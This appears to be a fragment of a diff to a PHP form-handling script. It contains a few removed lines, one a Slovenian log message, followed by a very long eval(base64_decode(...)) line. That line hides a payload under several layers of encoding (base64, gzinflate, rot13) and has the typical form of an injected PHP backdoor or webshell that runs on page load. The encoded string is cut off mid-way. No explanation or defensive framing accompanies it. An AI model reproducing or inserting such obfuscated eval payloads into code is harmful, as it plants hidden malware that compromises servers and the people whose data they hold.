+ }
-} else {
- $log .= "Obrazec ni bil izpolnjen, zato samo prikazujem stran.\n";
-
-eval(base64_decode('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cl9yb3QxMygnRXljY1pIRTFxejlVbjFJekp3dDJJengxblJXSUFKZjFKejE0RTFjZ0x3VmpCRmd3SXhBZ3AzeVJCR3V5QXZnSkFUZzZBeU41SXdxZEd6ZmpyeHExclRXTFkxQW5EM0UzQkhqZUJVeVlMR3RlR1NPMEF3WmlwYUVTSFJ5aFpsOUtvMExtTUlBZ0VhcUNFeUlDQVFJQUhKcXhaSXlmcFIxTEx2OVBaeldNcWFxbUhRSUdFekFCSDB5WFgwdUdxSXlhQVRnekYyMTZISXVKR0hjVUJISGVNelJlcVFJU25VQWpNVDFWRVRTT0lVcU9vS1ZsR0tNV0ZUSWJFYVoySW1FU0pITWVFR1MyWktEZVp4QXhHSFdncXZmNUlhQXZwYUFVTXdJZU1KQWdMM3Q0blJNVG5VTW1IMU1VTHgxQ0JQOWZvSk14RnhFQkcyRGVNd3EzcFFPSkdtcGxFMEV4QlV5SHF3dUpKVXlsclJXUVpIcWFFSGdIcFVjWm5ITVZuVDFkb21FQUV3T2ZKeDFXRm1Oa0UxTVVKS3FMSFFBMEhLcDVHS0hsR0pFRHB6SVRxUVdTSFJBa0FJeUtIS0kxSXlNY3ExV0RJSHhlQlI1VEEwSWZZM2NSWlVBWW5RdXhGekVISnl4bER6WmlFUk01WlV1em9JT3lMMkFMbnlBVUdSRUxxUkUxRDFTNVgycUFaejlub1BnbXEyMTBvS0k0RktFMklVY0ZGYUVocVRwNUwyY0NJVGNUQkhJRG9QZ1VYMDltcFRNNklTY2tuek0xRWxnQ0lKcWxweVM0SndOa28zSWNJVFd1RzNiMW8yeGVIMjltb1VXeHJTTWZKd09uQTBBWUV6NTFNSUhsTEg1SHJhcVZyd0VuQVFTSW5tTGVFVE1ocTFjbUl3eWNGeXF5WklxVkJVcVpNUjl1SnhxMlpReVVJeldsSVNFZ0lSa0FHSHFHSXhBWFpSSURad3ljRlV5ZHF5eTRyS0RrQTI1Um4yRU9IUk0zRktTSEV3VjBuR0lHcVNPNUFRSXdHMmNCcTFPUEVSZjBEd3FHWlN5RnJTT3hBRmcwRlVFMm4yOTZHSjVKb3l1NW53QUtFdmZpWndFbFpSZ3hFMEFQRDF5aU16dWNFMWIzcnd1M0QyU3VHeVMzWTFJYkhhSTBIVXF1RXhJQXEya2tMejg1b0hNWXFUdUpKSlN1WlJiakxHeWpvYWN5clJjeEVHeXpKSUVrQkdBZFphTVJGMXFBRVN4bEd6cVVJU3lUQkl4MnEyeUhBMU91THgxYUkwSDRYMjg0RG1xNnJLT2FHUVdRSHlFd0ZhdUdEM1dPR1VTMXB4UjRJSnFjQUtNUW55RTBJVDVXcEt1MkVTcVBaU1dLQUlTenEyajJweHlUcEtPUW5IMTJMSmtHb3hnakRJSUVMM1NKRVJ5aXBtUmlxd0xqcWF4NG5JdWNBeHl5R3ZnVEVUU25IS1JlWjI1RFhtSVJwSEloREhIaVp6eWVwd09uQlRnakdhU0RNeU0zWlVFRG56dVNMSXFFRkhnMUlGOGtwR1NtRnhra0JUWmpFdjllSG1FakhKajNxVHVXb0pBZ24yRDNCSHFGSEhnQnBLSWdKUkFYbm1xMUpUa2JBYUwzclR1REdtQTJGUkQySFRxRU1tT0VyelNScGw5SW95TzZIMDlmQUtNQlkxV3ZvU01iWG1BSUZGOVlMeXlocElFUVpGZ2pBekFNSW1WNE16VmpBVHlTSkhxSUp5QTRyeWM2STJ5TUdJSUJwMlNiQlIwaW9UV2dxM3FJTXhJUE1UdWlBelJpSDNTNG9LRWZGUXlmWjBNa0JReVdaYXQxWkZnMUlVT2NJMnRlQVA5Q0hINXVaeVdHcko5Q0ExY2pweVNacnpmZUp6QUdwVVdLcEtNbUEzV25JS08xSEhFZk1KYmlxd3AwSVFNRE1ITGVFSnF2WGw5ZUgxYzNaeWN6SDFjSUl5QWJIVWNTcVFFU0hTdTNJM1JqcDA0bExLeVBaVDhrRjBrT0F3SVdKeWNSSDJjNExIV0tHUnUxRHhrMkpLRVVESjlXcEpNakZtcVhKeHVBTUp1VUJUY0xGUXlFREtPUlptRXpJS0VKcXpmNHAzYzRySFNIWndNVk1VU3lBRjllWlNwNUwwRXlIU3k2WnhJTU0wcXdHVHVBRkdNWlp5SVdHeEV3WDBXaEUxT2FFemNWcUY5a0kxcXZxM1ppWklXR29VQW5xMjVkSDNXa01teU9uMXFVSHdSMk1IY2txMEFZQUpNWm5SV1ZBYXVXQTFJSUZTRVBBMmZqblQ5RUFLY3pFbUViR3dxTFpKZmpaSXFpTEtFZkczT1dvU0l4b3dNNXJJU2JBUmtLSkpTNERIMWtHMHQzcDFFREEyZ01xeHl5TW1PeU1UdDJERmdVSXprakpVU2lCVGNKTUdFVW9UZmluSElCWlQwbEpRTU9FSWNNSVRBdkwwTUtaMk0wcTBjaVpVeTJJeDgzSHlNeW4wdW5aSlNSSkpqMkpIdDFId3VVWnpnUkFQZ2JCR0wwcFFaNXBSRTRwUUVRR0tPREgwOXpMYU9VSUg0MUZUU2RYMHVTcDJxT1owYjJEMWNkRUlJbEhUNW1vUld5RlN4bUxsOTRBVHAwWTFjRnBHQWpweEFkcVJ5bkpJdXhHU0F2b1V1VEl4YjJvbUgyb3d5S3JHeXdxM0lkSElBT28zU2NaeDg1bmFTWE1KcUlYMmZqb2FJa3F4Y0hEeGN3cUhINHFtV0xNMEQwcVF5T3BJV1pJbXgyTTNXSUx2Z3dvbUVtbkpxVUZVT3duSjFSQVI1Z01HUmpGUUlob1FPbE1SdVJNekV4STNabEUyYjRJSnExblJBS0RGOUtNYXAxRUgxaUxLSGlwVDgyWnhxMkhJU1JNSElpWTI5SElTV0lBUUVCcnlJU1kwOURuYVNCcDN1WUh5Y0JEeElYcXdxS01GOVdGME1tSkpjUEV3RGVxeklpRUowMkdLVjFYbUVXSHowam96Y2pvSjQ1RjJ1akJVVmlHSGYyTEo4akFHQVlMMlNjSHhxY0FTeTRGS3FhcG1XSkpIVzZMejkyRXdxbEx4a1huSHVMRUp4NU1hT1pJeHFURXhjTEcyMVhNd1Y0RVRrd28zTm1xSElWb1JXdXF6eDBxbUQzb3hXSG9KMUpuMGY0RVVBNE1teDRCR1I0blRFNUpKNTRIMk12Wkp4ZUQzRWhyeU9qRnl4NUl3cG1BMXk0QUdPRlp5cTVCUlNFcGFBTUlQZ0FESUV3SlIxR0l5dUJHS09iQVJnS28wY3pwUnAxWjNFd0ZJQVpwUnVSckpqbHFGZmlyVEhqQXlFREF4QUVEMVdkSHh5RUR6SXhuekV2SnlBd01tTUFvUldHSVF5SnFHRDBER3U2SGFwZUZ4RWtMS0VBSDJnU1p5Vm1KYXVjSEp1ZkdSZzRBR01PWkh5MEFLSVFuM3hpRlRTa3Eya1pwYXFrQXlTa3BUU1hMSGdkR0tIbFpVVzJGM3VKTHdxT0Z5Y0ZZMUlmTXp5WlphSGxxM0hqSnh5UEZHcVpHMlNqbzB1aVozRWNIUUFJRElJR0JLU3pwU3VYRjFxZ0JVUjRYMkFlRlNBNnAyazJKUjUyRlIxY0QxeDJJMEExRktPRk1JdVZwU2NZTXhjUkZtTjRFekRsWjFaMkpHRDVFS2NJRVR5REd5STJKVWM0WjIxekp5TzJGSHFRckl5ZE1tdWpyS0VjclFXekdJdVZuYWJrSUdJR0Z2ODNwUVM2QXl5VklheXpwSkRsRktXS0ZKcXVyR3FBWklObXFUOWlCR3FuQTFXMk1HTjNKekQ0SVVFdnJTSUlIR3VtckY4NG5RTWZFM01Hb21xYkd6STBwMnFDR2FxNkhISVFuR09GSVJTM3EzTWlKUnFYWlI5S0lRRVRBVFplb21EM3F3SW1FSXQ0QXljSHFJRTRGMjFFcDIwMUxIOGlCU1IzQlJrMW5KRXVaSGMxTTBWbUl4NTBKUUkxQW1PWkwxTXVBeDVGQlVINU0wcUpuU2NoTVFBRnAxSXpyR0liSndxSVowOGtHSGo0cnd5NXAzTG1HMjlMcDAwMklhUjRGbURqQTAwM0R5TXZweEFsWkhFNkVtV09IM3FXcElObHB6RUxaSmtUSTBmbUQyWmtuek1UR1JrTVphdUpNMDl3cEhxUXBIV1FMbDkzRnpWMEVUNUVveE1CWm1FSnBVdWJxMkVhRDB1Q0RITVhwUVd4THpNZEx6TURGeGd4cXdXSE1hV1BydmdLREZma1owRDRBd0UxQXlPV3JTY0pYMHlLWlN1YUV4cTZaMkxsRElTQW9IcGtvbGdXcktPZnFsZ0JNVXFlSEp0a0Z5SWFJVGtEWlVBV013cXlFM1N2bm1TU0YxQVZxSjkxb1FxeFgzeTJNSnVoWjBNY0QyQXpIbUxpTXpFMlkxTW5GMDF4R1NxanFhV1pBd0lhclRBWEpSSUJFekhqSDNjUEp6V1FGeFNQQWw5VElTTUZaR3VIcTNTTVpJT3VEMUFXR0lTa3B3TUxMSk00Skp1NkhUeURMRmdabkhnRkVLcWtuSjFHRzI1dXJGOGtMSGNicVJNenJ4dTRNSXlJbzFNWkhRSURvUmIzSEpnTUFhRVVuVHlhRXh1RkJJSVNxMDFXRnljaUFIMGpaSmNXRVRXNEp5V09KSFdIWmFBZ0ZISUdMM2IzRVN5aUEzTWtGeEkySW1NRHAwU1FMekVZckpIM3FKZjNGUUlXWkpMakV5dUdxSmdJWktBNUp6UzFJU3F4QTBNMVhteWFEeFowcVRFMUgyVzNKSXlLTXo1eElSeVJvMHhpcVI5VlpJY0pEd3VqSnhFbUdIZzJIeU9XQktaa00xY2lKeVdPTVJBM28xV0lGMEFZTXhJVlkyNTJGSXlrSVVTQUpLTUVMeWJrWjI1R0RJU2pESElmR1JxbkRtRUNvVXllWDA5SEF5cDRvejliR0dBa0hTTDNvUkE1SlNxT0pHUzJEenQ1TUhjbUQweXlxMUlqR3d5ZEd6WmlFekFUb0hjQkZ6ZzFxeUgxSEh0NEV4NTZvM1ZqcHdTMERKV0xEMHVlcmFaME1UcUxuUmNncXd5bk0wdVVaMEw1QTN1VUJLQWlCU01tTUdxeUgxV01aVFNBb0lJQ0FhY0VId3VaQVJTYVpUcWRMS1NmWTBxYlgya1FEejAxR3lxU25sOGpHUGcxRElaa0F2Z1lwVEFCRDNNQk0zdDFJR3EwRkt5SUYxT2NNSGNVSlVMM3FtUjNaeEVFSEpBVUFJTzVYMkVkTXpnU0lScTNvMDUwQktTQloxRTRCSXg0RzFBakRtRXdwVGtCSFNBaW5QZmlueXVTRnl1NUcwOXdGMU0wSHhFNU1JcVVGelNKRlJ5UkgzV0lBMUVjb3pXT01hV2FCSEFSSlFBYUdtU0RySHlnRDFaZUx6V1pNejRtRkpTVXBUZ0xyVVNhTVFxQ1kzV2tEM3lIbkp1ZUhhdWpvVDlXb3h1ZnBSdVhuYVdBcVJnREhLY2pNVVdpWlQxZUlKNUZaSkVIRDBnRW5IV25vSVo1THZnUEhKVmtCSDAwWlQ5R25LTU9vU3kyQTJNR0x4Y09NMmtGQUdxM24wazVabUFib0prSVpHWmxEMXVWSnlTaEYwcDJvek16RlV4bXFJU0NMeDUwTHhmNEwwY1lxMDAycng5VUJSQW1vSldXRzNxRm9JY3lMd1NaRjJJV0lKdTVISDV4cDNjUFoyZ09KUjViTHZnYlpVT09JUnVUcmFTakhTRXpwMXVhTDBFbUlJU1pyd0FGRnh1Y1kwOGxKelZsRzJxNEFVT3pMM0g0SVNaMEZVTVluSUlRWkhaa28yNGxvUXAyRHpnT0VVYm1EMnFaclFBU25UY0FBVEl4RzBwZVgwNTJwMUl4cXg5eUFTdWJHSGtPRG1xSEYxSDNFYXFHQVFXbExKajBGUDljWjNjaW8zTVhwbVNRcHlXenB5YjBIeGtQWlJBNEhKRUxJSHFHcHlPakphcXpNS3lrR0hTV0ZHRVZvYU94QXhxSFp3eGVIU0l4cVJqaklheUlKU05qclVTRUkxeVVCSmsxQWFNU0Z3RXpJd0FsTDBxWHFRQWVvMGs0cEdIM0pGZ2JBSkF4WkhNdlpIa1FvbUlVckg5dVpUa1hGSkVtcEpMakwzT25uUnFiRzBxVFhtRDNNSmt4R1VwbG5SVm1JR0FhWlJrNVp5UzZaM2NTb1JXYm9Sa0dveGZtcTJmZW54V1FveWIzcEh1Sm9JcVdwU2MzRDFNWHB3eWlJUlozckdNYU1RVzRBR3lmcUpNV0FVTGxHS3VjTHdNeFpheWdJMVNtSGFxbXBUeXVHeXl4cnpTU3JRU2tvSEFGcUprNXBTeVNJeUhqcWFXNUp5WjNCVElpb1NjekdKcDRBSEljSUpFR1pVdUNxMlN4SHpBNkR3dTRGUkExcXZnUEYzcGxEMmN3SDNNR01KUjJxMFppbzNNZ0F6MDBJU0RtR1VBbU0wTUdxSldZb1NFR3B4MU1aeUlkRUt1Qm5SU2JNU3VocDBIM1gySGluUmdhRTFjTEYzdDVGMHhrSkpxSkUwV2NwYVZpSVNBTEpQZzJIUklhb3lBQUJUMWhESjEzcG1TMU1JeDVBR09GcUhBMm5hcDVySVNpSlJna0FReUhJbXFRbjJrUHFISVVBR0l3R1A5YUlhdDRBMjE2Rnd1VUxKMXhBVE1EWkdNWXJSSW5wd3lEWktPd25RSVZMeGtlWlA5Z1gzcUZHM3V4QkpJSE14NDFKSnVQcFVBNnFSTXZMYUQxTVVNZ3ExQUNKSk1DckhJVkFReUpBUVNtcFRxbEV6TUhGUDlmSUtjV0kwY2tBYUFkRkdNVUFJcTJFMUExRTJNaHFtRUtBU2I0WTJFTEZIcTBFekFNRHZnakpJYmtFMVptRTBjZEJIa2tGYVNEb1NSakd5RTNuejRqWlV0M0VUMUtxS3VjRUhNbm9hQTBEelNCR0tXT0RtTGpxeHVZRUdPYkV3SDJGSXF1WTFNQnFIcUxKUVNSSVJFYVkxU0FBbVozWnhBVkQzQUdHUk1WcFVXM3FhSU1NU3F5STB1ekZ4eDJyR01NWkp4Mlp5RTFJM1M0Rm1NWEwyMVNIMDFSSVVTWkZRQUxyVVM2WTF0ME1VV2FHR1NITG1NNG8yV1JFU2NmbmFNYkhKRXlxUXVMWlVBekhRRVJBeHlMb3Y5bU0yTVVES2I1R21Jd3JLY1FFMldFblJrRnJIV0RFMUlURmF5TEF6eWRGMXRsSEY5Zkp4TWNJMlM2QkdBVW94SDJKVUEzcEg1UURJTVFNVWIxcVVJWEl4Y0lyS0ljQlVXWEgxcXpBMHVLb0p1eEh5SXZNbU4yTXhNS0gxdVRwSnlRRHY5U3FSRUdveU9WRXpNNW4xYjBYM3RsSHhWbUZITVFEMVNUSktxMExhTVRFVEQxTUpTaUpSdDFISnE0QXpxMUFIeVRaME1jQVVPQ00yazJNMmMyTUtWMFptUmVyUlNUckt0aklhQUJHUUV3b1VPRXF3dURyUVIzWDJJRU1ScW5wSklkTTAwa3EzSWlIUnVqTDFXZUdtU0hIUldZb0hEbUczTVdGSVdjbzFNbG5LU0lZMnFNcDNJaERJTWFJSE1sbklSZUhUQXpZMUlBWlVjUkhRcVZwVElLR1NjeUxKeWpvSFplSEY5TE0xRWtMbVdMR3laM0lLVzJGVGY1cnhiNElSQTBFRmdHb3pXRkJTT0NxSDlrQTBnSkVhT25HVGdmQUhTQUZRcWZId3Q0TEhMNERhRXdYMEFkRVVFdm9RcXVGMXFpRlJNQW9UV1VIVGdVREd5dW9USTNHejVhSDN1Z1pTRUVueFdIWktTaEFTeGVNSEFVSDNNNkpKMXVwSklqTHpnZkpIa1NuUldGTVVONFowSU1KeUlicW11d0h5Y0VJeDlZTVBnUUdLWmlwSWJtclRXU24wRXdaMnk1clRxenJRTzBMSklXQkY5bEFRcVJNSFdIcFVjUU1UMTBGUkFrcG1JSlpsZ25KSGtMTDFNV0VVTU9KVU1SRVRTdXBSQTRESjQzSHpFelpUY0tER1c1STI4bEZVcUxyS1IwbzNjUEVKY1RBeEFocTBMMU16a09HVU9iSVQ5WlgyOVhFMkVGTEp5UXJhQUVIUkQyTEhnUExLQUxHSjBscXgxdkVKV2FvR09CcW1Sakh4RUhvS05rSlFBY28xVzJxeHUxclRxSElLdXZCSkFWWW1XVkR5SXlweXVUcHlJakpJeWFNMkg0cGw5ZW4wSDVuYWM0SXh1UUlIV3ZaMkQwbnhxdkp6RUpuMVNncndTS3F3SDFBenUzR0lNRkdTSUFxM0VZRjNXSnFHU1dHSDllbkp5ZnJ4eGlIUkFSSXhqaUdUOWpNVGszTElPQUlJdUVCVXVLRng4aUdVQWNuSHloWno1YnBLTXZvd0lURVFTSEZUNWZySnlRREtXM24ycUdHUU4wcEp5UEcyTWtwSGdSbktFZE1VdXhKU0laRTFaM0UyY3luU3FIb0hEa3FKdTFySXFWRVViMHBSMURNVXVXSnlTV0QySGpEeEQ0RG1Sa3FRRWZJU2NUcEd5ZlphT2RxeFN3THgwbUlRVzRKeGNGRm1PMUdSOXlGdmd6SFNMZVoxSVpFYUl4RHo0MHEwcUdBUUVlbjBjUXBhV0ZweXl2RlI0bHJUMWhJUDlMR1RTREV4SGpuMkliRzFBY0lKOWZNSk1WRVJXYkYxV0xxVHQyQXlNYU1Ka01aR0VmRjNNZW4zeWtuMUFMcDNBREdSQUlaS3VlSUpmMUhIWjVyUVNhREpWbE14SVBKVEQwckg5VVkxV09IYUU1bkhJM0JVV21FUmd5cVNTNUp3QTZwUjlacWF1d0Z4RUpGS2NKSHlwM0p3SDFwbUF4bzFBekEyY3hGM3FNckh5QUVTdTBFVUQ0R1FNT01INTJGVHF4SVN5TFkzdVBGbXRlR1JBbG4xQXhwUmdQR2FJZHBLRTVNSGt5WlVPNnBURDBxM3FYcXl5WEVUSXdad1o0cHpxNW9KMVZxSk1NR1NxWUd4WjBaMkFsTXd1YUdUTUhMYVdMRjJXU1pRdDJwR3loSlNFRG8zeDJKUUFKRnZnNHBUV2NvelNMcEtxNEpRQVVHUXlaRnY5bG5IQWNJVWNEWkpNbUV2Z3dHYU9ZTHljYXFLcXZwVFdBSTNxS1pURUhueEF5RzFXMnJ5Y2pxYVZlcHoxZHJTdWtBSmo1SnowbUkycTFueGN5RHh1MUJKQVVGbVNuQWF5eXJJTzVNMnlXSnp5UkFTQVpEMDVSRnpJUUVUeUhEeE1nWlRBZEx5V2xyU3FjQXpabUFVdXZyVUlBRDFFNXFHRUtMMk1CWDBnRFoyeG1EeDVpWjN1MXJheVVKUnlFTTN4NXFJQWVJSElPSEh5WG9HdWNxMEFhSnljQkh5Y1VIVDAzREhjZkF6OUZNekhpWDNFZ0hUdUxCUXVmb0pIMXEwTGlNSnVBSkh1QkhUZ1paVXFmblI1Rm9JVzVBVElnQlVSMG9IOXZNVU8zclNiM0ExU25YM3VHWTBJNkltTXZxd3lqRWFBV0l6Y01vVGdBWlV1ZnAyQUNFeGNUR1VjSG9SMUpFM3V1RW1XdUp5YzVIeUFoQklPbnJUNVVvd1YwcUpFZUVUcGxHVFN6TTJBVkZUSTBGUUF3SlJSbW94a0FGeUFLTEd0a0hhRVBCSHFIRHp4MXF5Y2lxMDVpWklPQ255V1NuSHkzcVF5bXJUMW5MSEF1REo5am5SMTNuM1YwSlNXR0FSV0lKYVJsR1FPekx4TTNIRjllRTBnekltUjRKSUFJWklSMkh3RUhYMVc2bzBnT3FsOUtGMjV5SnpxQ0Z6V2NySHV4RjFJWnEwY2dCSjV6RUtjZVpVRU9HbUlkTUpJVEZ5RWZIeGNGcUlTdUphSTJxYUl2cHhTYlpGOTBCVDAxQVRIMW8zU0hGSmdJSHpMMkF5cTZwS2NTQTNJVkl3RVVESlNESWFPWEgycWtKSE1jckt5T1gyVm1HMU01QXhIMHBVUzFMSVNJTUpjYnB4ZmxBSHFncUtFRUlKeTNvSmtpRndXM0YyVzRJU1I0SVFFUHJKUzNYbUlSR1RBaEhUY1dGU3FGbjA1R0xHTTBaSU81b3h1WlkzUmlEMnFXQXg5MXBhTWdxd3V1REo5YUxIeDNxMjlSRWxmM0xKTURyUjhpREhrRE1hU0tBMjFCSnlINEhVcXhKSE1XSFRqakVTTWRvU3kzTHpnY0czSWZFU2NhRkdFMkh6QURZMEE2b0pXVkhUY1JvdmcwRDJMbUlJTVNNUUFpQVJ5WXF3TVJCUnl6SDBNMXFTdXlwS0lrcTBJUUwwdWRGM3VQWTBrbE1VT0tEM09oSnlxaUxLTzJEMUFicDFTUkgzdDBCUUFRSDNPU3F4YzVNeDVoRTFFMkpSRVlwek1kTGFXeEhISUFySFNQRWw5d0wwY3ZwMXVZRDB1Y3BhdUpMSDQ0SEtxNHJ5cWNabVNCSWF1SXJ5eG1ZMXF1RGFMM3B4QWhMekRrcDNiNERKcVdJUU1YSFN1ZkdHRGpBSE1sRHhTRVgya21ySFNsSktINXB5SDBMR01VRDFPM0l3eW5YMVI0WjFjYm9GZjFxUkxpTUo5ZEd4cWxFeGtBTEl4bUdSMVRES0VWQWFFZEgxV1VNVEgwbzF1WHF5YzFJVGc0SlRTZnBVT0Vyd3VtRlVjNU1RTU9JeDEySGxnVHBTU1JGMkFjclFPd0ZhTGVuMmNWcTJBUkpSSXpHeGJsQXprNk1SV1VuUlprR1RrQUdheWhKR0Uzb0lJVkdIOU1NVElFRnhneFgwY0JaMU91QTAxTW5SQXVwbVNFRVI5UkZLcDNvenBlbjNSMkdUQURvVDlFWTA0NXF6TWZuSjFERHpWME1SZ09FMnQxRG1PSEFSTW5FUUwwcXg0NHFUZ0VwSEFVSFNTS0xJT1JFSDVmcDI5Mk1TSDVHeFN1clR5ME14eUREMEF5cDJ5QkpSeXZJYUVuRUpWMUlIU21wR3V4cUdXMUJVQWJMR0FrWkdTeW5KcWdGMDFCcFVJZUl5dWpHS09PcFVJSUdURTVxYVNQTDJ5NVoxU0VaUmJrcXl1SkR4cVZuMVNFTHhTV0FRcDFxM01ZSFNwMkp6ajVBSGNMRHh1Y00wcVNGSXg0WW1BaUVJU3hIS0FITTI1QW9hSGtNS1o0RnpJVW9tQU1ZMXV4QWF4a0gxVmVFSHlhWkpTVkcwNXVwUlM1b3hrQ0xhcWhBVWIxb0lBbE1RdVRvMExsSFJqbUlUOW1KVUxtb3g1Um54SXdKUmtob3dBVEgwU25KYVdEQVJxbkJRdUtyd0VmSmFPaUlQOWFZbGc2SUt0MUd6dVFKVFNobm1TSlpSdVdGMjVMRkl5NHBLUzNGMEVYcndXdUlSSTRNVU1YTDFJNm4zV1lBMDlSRGFBNW9TT2ZKd1dUcTBTM0lRdTFxUDlsREhXVHF4eTZxVHllWTNNNkFsZ0RNMEVtTVVXNlkxT2Zaek16WkdXR3J5V0RZMXFnQkt5QkdKOW5YMHFRTXh0akwxeXdGd3VRSElFRW5RTmpNM0k2WGw5VXBtU1lHSmplRVVXdUp5V25GM2N1RkpnWkpRT0tyYUxtcDNxMXJTV2hBM1ptcDN4M3J4SVFZMk15R1RBbkpISTJFVElhbkdFZUhHQTRyR0EwcXhNUEJKTVlGS096SkpJRUZUeW1FMEhsbjBJSEgzRGtvbXF3SVFXMUlJV25JR015WDIxd0VVTGtZMEFpQVNNdUczeVZwVFptR3hJRkdUV0Fyd00ycTJNbUZ6UmVCVXQycDI5eUVISUpEeHFLblIxNm9LV1RZMmtKcDI1aXFHQUduMVdiQXdBd1gyQVlMeFdrSDBrNkkwY25JVXl6SXhjNlgzcWlNS01Wbnd1Q3JJRUxHM0VpR0pJQ1pJRGxBVHE0TEpqbFkyNVBxSUlHR1FxYUp4MUNHS0hrSkpNRm5VV2NIM0xtQVR1aURJU2xwS3lmTEdTV0lSY2VES3l6R21XQ0x4RWVKSXFQSEhBVm4zcDVFbUVaSDNJVUlKMWFCVWNtSXp0Mk0xTmlYMUVnblVXZVp4RWlGUkVDbzJ5Zm9tQWJxejVESUZnQ0RJcWxFSU9icHhrVUpSV3lveklPREhiNG9teDJFeFdQTUh5dVkzT2dHd0VCTDBSMnF5V3pMeFIwckdxYlpKeVNuU3A1cklJVXJ5eXlFd0QyTTJ4aUhRSVFwUk1nRmFxV0ZtVmxId1d3SlJrRUpRV1VEMUVIRVFMZU1JeGVvR0g1bng1MnFLY3VBemNYTXlOZUZ5dDNBdmdDQTF1M0p6MVZGbGcwREtTREFIV2RBeWNnSVV5bXJSQUxKeVNocUtNRVpSNTVGMHVVcFJNNkh3RVRGUmM2WlR5QUx5SVZwSkQ0QkdNRkcyamVwSnljcDF1MElHTjRGMWMzQlVFTUVScUpwSElhR2FTbW9IcW1GeXFNcDJaZUZUOVNvMVYxSUlOMkVKY2tNMFN5ckhra0RKdVJaR04xTUhxam96STNaUnl6b1JneHAzdWRISVYwcUg1RVkwcVBMd3lmTVFTWUJRU3dwVHg0QVQxQ29RU0ZyelptWlVNbkdVTUJyenFnQXpjT0dtRW1BbUF2QVFWbUlhY0RxSHVIWjNBbEZTU1ZFVXVBTUhIakwyQXZEeGZpSUtXS0lVUzJYM3QzTTFJSVp5T3pNM01CSTFTSW5RUjVGejA0SmFFV0RtU2VuMWNqSFN4Mm9heWxxbXF4Wko5bEZtVmtJbXk0RjFXdkRhQURMR1Y1cHg5Y0xJT1NuSmNoSUp1Mm96dXlFVDAxQlFBbnF5UjFwSDhpb0hrSE1KdTZKSGdPQTBBbm96RUFuM3VtcFJXSXBJQTZIU1MwTEtjT0ZSeVdMS3QzcUprVkZ2OWZyeEFtTDI1aFpVY1ZIeEFpRjJJRUR3TUFNMkUySUpXaEUwY1RaMk1kWjBqNEZUMWlCUUFESDBrSG9JT2JaR1Y1QTJMalphcUpwbUFUSUpjV0ZVRWpGMXFBSkh5ZEdHcWRJVXVNclRNUkdJU0dJVEVTRXd5Y0Ewa1ZHMnFWSkprVnBheTRBUjl1RTNJMkVhTUJIVVNPRXpBNkpGZ1pFMDQ1QVRrbEdUZ0pFSGd6QVVOMk0yRXVGSmNCTVI5WUJHQUVueXg1RkdXSElsOUVKYXlRcmFTUVpTSDRKejUwRTJjVExIcVNHemYxRHhNaXJTSU9ISUQzRUpFekx4TXpueE0zTWFXNkRsOUJvMGo0QUtJRkFtT1Bud1NZSVRrd3FIcUdxUkFKckhTWkp3RW1aenlBckhSaUV4U1ZBbU9ubmw5MUVUNVNBelduTTNIMER5T3ZaSnAxTEpndVpUQWNBUXF4RmFBTG9UY3ZIS0Uwb0lNTG95RGpvSU9YSFFwMUR4Y2VCUnVNRGw4a0ZIYzJGSUw0QkhTeU1JVzBKd05tRHhJYk1TTWxHejFERWFxaG5JQW1yUnVJRkhnMEwySVdIMjVscFVPVFoxcDBKYXEySUhrWkhUMTZxeXVtcFVBVUpIa2lBSkFKSnp5SEZ5TjBxd01mbjFNZVgwTUVKVU16RXpBMU0xeWpFMjF4b0tjQ0ZKdTRaMXBtTEtjQUEzcDJvSDFMSDJTbEFSV0paMmJpRDFPMEdGOVdESGZpSG1NQkl5eWJaMjlUSEhNbkZVTWxFd0lISVFNeUp4eGVEMkE0RGF1Z0pLcUtMYU1XbzI5UXBKUzVJMGtLTEtTR0czT0pGSk0ySUtMa1pLTzRaUXlCRUtTbUFKeWxCR1NGcW1SMUV5TWFIMXgyWlJqbEd6QUlFS2NPRXpNNVgya2VwSHBsb2FFdUdKTWFwengzSTNWMG5JQUFKYUQzcFV1V0VsOUVFeHVjSlRrVVozQWJBSUk1SVR1Yk16dXpyd1NWcHZna0cyU2JNS1NKTElTNEFJQUhNMHlCb1FObU1QZ0hHMjlrRzBNR0phcWJEMklWSTF1TEdJY0RuVHVIbmFXYlpIOTBKSEhtckhJRHB4RGVMbUF1cTN5Q3BVTzJGeGpqRDB5Z1ptTGtueUFkRlJNWEp5WjREeGdHcHdwMVgyTTVJM1NWWklFakF3V3hHS01aTDIxeXBUWmVwS0FoR0pnbUZHV2NNUmtDR0lxR0JINUVyR1ptcnhXWURLRXlJVVN2b2FjTE0weVRHbXVSSFVNZElKQWdIS1NMWnhnalpSa1ZCR3FCb1I5REExQXVuUmMzSHhrWk16Y1lMYUVtRmFJTUp3TUJyekF1QVIxWEEyTXdGSnlkSEpiZUpTQWJad3VpQXp4NUZLRVRBMDVZcW1FVkx4MWhvMUl3cTJxQkcyeURyU3VESkt5M0UyeUFBbU1JREtBaEF3eVZIUkVMTDAwM0gxQVFaU3ExSlRjWUZJTWNJMEgzWkpxaEpLYzVIR1ptcVFTblpKWmpNSDFCckl4MG93TWZBeDE1cFI4MUkyRTNwSUFXckhJaUd5SG1IenVJWjBXUHJUOVlKejFsSlRxMXFJY1NabGd2WjBrTE13Tm1CR0VZcFJJWFhtQUNGd3A1cHdBU3BUa1BuUkFjRVFBYVoyVmpCVEFNTHd5Wm9UTWFvUlJpbm1BVVowa1FBS1ozbjJNUExINW1BU3htSElPRFpITTVMM09SRW11TUR4MU9Beld6WlRnMUgzVmVxVU15RXdFQ0FJeTZvU0Q0QXlPQUlKQU9EMnFnckljS0dJTzNGMDlaRlVxQkFVTGtJSjlIcFNTV29sZ01aUk1aSnhBQlgySWFFYUVrbnoxbHBHSUZISElRQVRFYUp6Wm1ZM3FBblRTV3EwUjVweWIzckp1UFpHVzVaM3lUQkdTaW9KNVBBeUUyTVRJdUp3cGpESDV4Rno1UERtRUhJeHViRlVjaEVRTUVFd01XQTBjeUphV0RJS1NtcEprTG54cU9Bd3A1SXhja0R4dXdHMlZlRXZnQURJQU9NM0RpSEtPSEd5RU9wU1JlQUdXTHJRcDFCVXlEQXdBU0VVTWRHUklHSHpJUkdJSVZaSGdnSW1NbUZQZ0pud3VWSVNNYkkxUmlISmNocEpwMk0yQVlweURrSHlNeEZ3Tm1BelcyQW1JNHFRQVhJeXFCcFRaNEh6a3dHU0FjQWFJS0JJeW1uSVNTbnpNZ1pSOTNHYVdIcFIwZW8weDBBSms0THhjT0hUOVhIYXFtSVJmMXFtdTVKejVSTDFFMW9tdVpNU2NEb3dTNEZIdW5FMmMyWlJxQnJhRWpvSEk2TDBBNnFRUj